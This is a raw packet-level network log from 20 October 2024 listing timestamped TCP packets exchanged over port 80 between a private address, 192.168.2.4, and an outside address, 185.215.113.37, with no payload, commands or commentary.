Oct 20, 2024 06:40:18.848481894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848485947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848495960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848498106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848510027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848511934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848521948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848541975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848546028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848562956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848572969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848583937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848596096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848599911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848608971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848614931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848620892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848639011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848661900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848681927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848695040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848705053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848714113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848716974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848730087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848737955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848748922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848762035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848767996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848773956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848781109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848786116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848798037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848808050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848809004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848822117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848831892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848834038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848845959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848846912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848858118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848870039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848876953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848901987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.852565050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.852739096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.912632942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.917494059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432420015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432445049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432456017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432466984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432477951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432487011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432497025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.432507992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432518005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432528019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432538033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432540894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.432549000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432558060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432559967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.432564974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432576895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.432604074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.432606936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432646990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.432796001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432806015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432815075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432823896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432832956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432847977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432854891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.432859898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432869911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432878971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432882071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.432889938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432900906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432904005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.432913065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432924986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432933092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.432935953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432955027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.432964087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.432975054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.432980061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433002949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433026075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433197975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433217049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433228016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433238029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433243036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433249950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433259964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433267117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433269978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433279991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433290005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433295012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433300018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433310032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433312893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433320045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433330059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433331966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433340073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433348894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433360100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433360100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433370113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433381081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433388948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433393002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433403015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433412075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433417082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433430910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433449984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433671951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433681011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433689117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433695078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433703899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433713913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433725119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433734894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433743954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433748007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433759928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433769941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433772087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433784962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433795929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433805943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433809996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433818102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433830023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433835983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433840036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433851004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433851957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433861017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433872938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433881044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433883905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433892965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433902979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433904886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433913946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433923960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433933973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433943033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433943033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433955908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433967113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.433975935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.433993101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.434015036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.434286118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434297085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434307098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434319973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434329987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434330940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.434341908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434351921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434353113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.434362888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434365988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.434384108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434390068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.434396029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434406042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434412003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.434415102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434426069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434433937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.434437037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434447050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434458971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434467077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.434468985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434479952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434488058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.434489965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434499979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434509993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.434511900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434523106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434530020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.434545994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.434566975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.434907913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434916973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434926987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434936047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434947014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434958935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434967995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.434968948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434979916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.434992075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435000896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.435002089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435012102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435019970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.435022116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435030937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435038090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.435040951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435050964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435055971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.435067892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435074091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.435076952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435087919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435091019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.435097933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435116053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435125113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.435128927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435138941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435148954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.435154915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435165882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.435165882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435177088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435189962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.435194016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435204029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435214043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.435214043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435225010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435233116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.435235977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435245991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435256004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435256958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.435266018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435276031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435286045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.435286045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435297966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.435303926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.435326099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.435364962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.454937935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.454961061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.454973936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.454988003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.454996109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.455001116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455013037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455018997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.455024958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455039024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455039024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.455069065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.455081940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455085993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.455095053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455106974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455117941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455120087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.455131054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455137968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.455144882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455154896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.455182076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.455245972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455257893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455269098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455281019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455291033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.455293894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455306053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455310106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.455319881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455359936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.455369949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455382109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455391884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.455424070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.455471992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455482960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455493927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455506086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455518961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455524921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.455529928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455542088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455544949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.455554008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.455564976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.455591917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.708122015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708133936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708138943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708142996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708152056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708235025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.708405018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708420992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708431005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708435059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708440065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708444118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708450079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708457947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.708458900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708467960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708479881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708488941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708492994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.708501101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708512068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708523035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708525896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.708533049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708545923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.708545923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708555937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708560944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.708570004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708579063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708586931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:19.708606958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:19.708606958 CEST	49730	80	192.168.2.4	185.215.113.37
